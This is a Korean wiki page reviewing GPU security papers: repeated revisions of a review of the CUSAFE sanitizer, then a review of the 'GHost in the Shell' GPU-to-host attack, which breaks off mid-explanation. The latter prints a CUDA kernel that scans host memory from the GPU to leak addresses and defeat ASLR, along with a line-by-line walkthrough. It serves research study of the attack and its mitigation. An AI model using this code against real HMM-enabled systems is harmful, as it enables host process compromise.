# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Minor Concerns ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-02T07:20:29Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Importance ==
이 논문의 중요성은 GPU memory safety 문제를 "탐지 능력 대 배포 가능성"의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. '''CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정'''하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.

또 하나의 의미는 '''CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니'''라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.

마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.

== Main Idea ==
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Evaluation ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-02T07:20:12Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Importance ==
이 논문의 중요성은 GPU memory safety 문제를 "탐지 능력 대 배포 가능성"의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. '''CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정'''하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.

또 하나의 의미는 '''CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니'''라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.

마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.

== Main Idea ==
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.

# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.

# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.

# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.

# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.

# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.

# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Evaluation ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation

2026-07-02T04:17:59Z

Ahn9807:

{{Paper
|title=GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation
|author=Sihyun Roh, Woohyuk Choi, Jaeyoung Chung, Yoochan Lee, Suhwan Song, Byoungyoung Lee
|conference=IEEE Symposium on Security and Privacy (S&P)
|year=2026
}}

== 개요 ==
이 논문은 [[Heterogeneous Memory Management]]가 활성화된 [[CUDA]] 환경에서 [[GPU]] kernel이 host memory를 과도하게 접근할 수 있는 문제가 왜 host process compromise로 이어지며, compiler instrumentation과 GPU driver page-fault enforcement로 어떻게 막을 수 있는지를 다룬다.

== Background ==
전통적인 [[CUDA]] programming model에서는 host memory와 GPU memory가 분리되어 있다. Host program은 `cudaMalloc`으로 device memory를 할당하고, `cudaMemcpy`로 host-device copy를 명시적으로 수행한 뒤 GPU kernel을 실행한다. 이 모델에서는 programmer burden은 크지만, GPU pointer와 host pointer가 강하게 구분되므로 GPU kernel이 host stack, heap, library metadata를 직접 읽거나 쓰는 것은 기본 threat model 밖에 있었다.

반면 [[Heterogeneous Memory Management]]는 Linux kernel framework와 NVIDIA GPU driver support를 통해 일반 `malloc`, `new`, stack allocation으로 만들어진 host pointer도 GPU kernel argument로 넘겨 접근할 수 있게 한다. 따라서, HMM은 programmability를 크게 개선하지만, '''host-only memory와 GPU-accessible shared memory의 boundary를 흐리게''' 만든다.

== Motivation ==
기존 GPU security 연구와 tool이 대부분 GPU memory 내부의 memory-safety bug에 집중했다는 점이다. Compute Sanitizer, cuda-gdb, GPU memory corruption 연구들은 GPU kernel 안에서의 leak, corruption, GPU-side control-flow hijack을 다루지만, discrete GPU가 host memory와 격리되어 있다는 전제를 둔다. HMM에서는 이 전제가 약해진다. GPU kernel이 host virtual address space의 page를 fault-triggered migration으로 접근할 수 있기 때문이다.

따라서 "GPU kernel이 host보다 덜 privileged한 computation context"라는 오래된 직관이 더 이상 안전하지 않다. Vulnerable GPU kernel을 사용하는 PyTorch inference service나, 미래의 remote GPU execution API처럼 attacker-supplied GPU code를 실행할 수 있는 platform에서는 GPU-side compromise가 host process compromise로 확대될 수 있다.

== Importance ==
Prior GPU attack들은 side channel, residual GPU memory disclosure, GPU kernel control-flow hijack을 보여주었지만, host process memory를 직접 corrupt하는 공격은 다루지 못했다. GHOST-ATTACK은 HMM이 이 boundary를 무너뜨릴 수 있음을 보인다.

그러나, 본 논문은
# HMM을 단순한 performance/programmability feature가 아니라 새로운 security boundary 변화로 제시하였다.
# 또한, 이 논문은 "address space가 unified되더라도 access authority는 unified되면 안 된다"는 design principle을 제시하였다.

== Main Idea ==
; 공격 방향의 아이디어
: HMM환경에서는, GPU memory-safety bug가 host memory exploit primitive로 승격시킬 수 있다. 공격자는 GPU kernel context를 바탕으로 host pointer와 libcuda-rt metadata를 이용해 host address layout을 알아내고, return address나 GOT entry 같은 control-relevant host data를 overwrite할 수 있다.

; 방어 방향의 아이디어
: GPU가 접근해도 되는 host memory를 "host가 kernel launch 시점에 의도적으로 전달한 shared data"로 한정한다. SHELL은 Clang/LLVM instrumentation으로 `cudaLaunchKernel`에 전달되는 pointer의 allocation source를 추적해 shared region whitelist를 만들고, NVIDIA GPU driver의 HMM page-fault handler에서 faulting address가 whitelist 안에 있을 때만 page migration을 허용한다. 이를 위하여, NVIDIA HMM page migration이 64KB granularity로 처리되기 때문에 단순 page-fault check만으로는 sub-page leakage가 남는다. SHELL은 shared data와 host-only data가 같은 64KB migration block에 섞이지 않도록 global, heap, stack shared allocation을 별도 aligned region/pool로 옮겼다.

== Design ==
=== GHOST-ATTACK threat model ===
Victim은 HMM-enabled CUDA application이며, PyTorch/TensorFlow 같은 framework처럼 libcuda-rt를 dynamic link한다. Attacker는 GPU kernel memory-safety bug를 crafted input으로 exploit하거나, WebGPU/HIPscript-like interface를 통해 attacker-supplied GPU kernel을 실행할 수 있다고 가정한다. 목표는 GPU kernel privilege에서 host process memory integrity와 control flow를 compromise하는 것이다.

=== ASLR bypass through libcuda-rt ===
<syntaxhighlight lang="c" line>
/* GPU kernel to break ASLR */
/* Pseudo C-style code for readability */

__global__
void aslr_break_kernel() {
uint64_t nvidiactl_base = 0x200400000ULL;
uint64_t offset = 0x7ce8;

uint64_t *probe_object
= *(uint64_t **)(nvidiactl_base + offset);

uint64_t i = 0;
uint64_t *leak_object;

/*
* Find the object that contains the magic values:
* 0x200000000
* 0x300200000
*/
while(true) {
if(*(probe_object - i) == 0x200000000ULL) {
if(*(probe_object - i + 1) == 0x300200000ULL) {
leak_object = probe_object - i;
break;
}
}

i++;
}

/*
* Read objects until it leaks the last mapping information.
*/
for(i = 0; *(leak_object + i) != 0xffffffffff600000; ++i) {
printf("leaked address: %lx\n", *(leak_object + i));
}
}
</syntaxhighlight>
GHOST-ATTACK은 libcuda-rt가 host process에 남기는 memory layout artifacts를 이용한다.
# GPU launch 시 `nvidiactl` device mapping이 fixed virtual address에 배치되어 reliable anchor가 된다.
# 그 mapping의 fixed offset에 host heap object를 가리키는 pointer가 있다.
# Line 20-29: 이 부분은 probe_object속의 특정 magic value값을 찾는 부분이다. 이 값을 찾으면 object의 시작점을 알 수 있다. 전형적인 memory scanning + signature matching방식이다. 여기서 중요한거는 GPU가 *(probe_object - i)를 할 수 있는 권한, 즉 host memory의 arbitary read가 가능하다는 점이다.
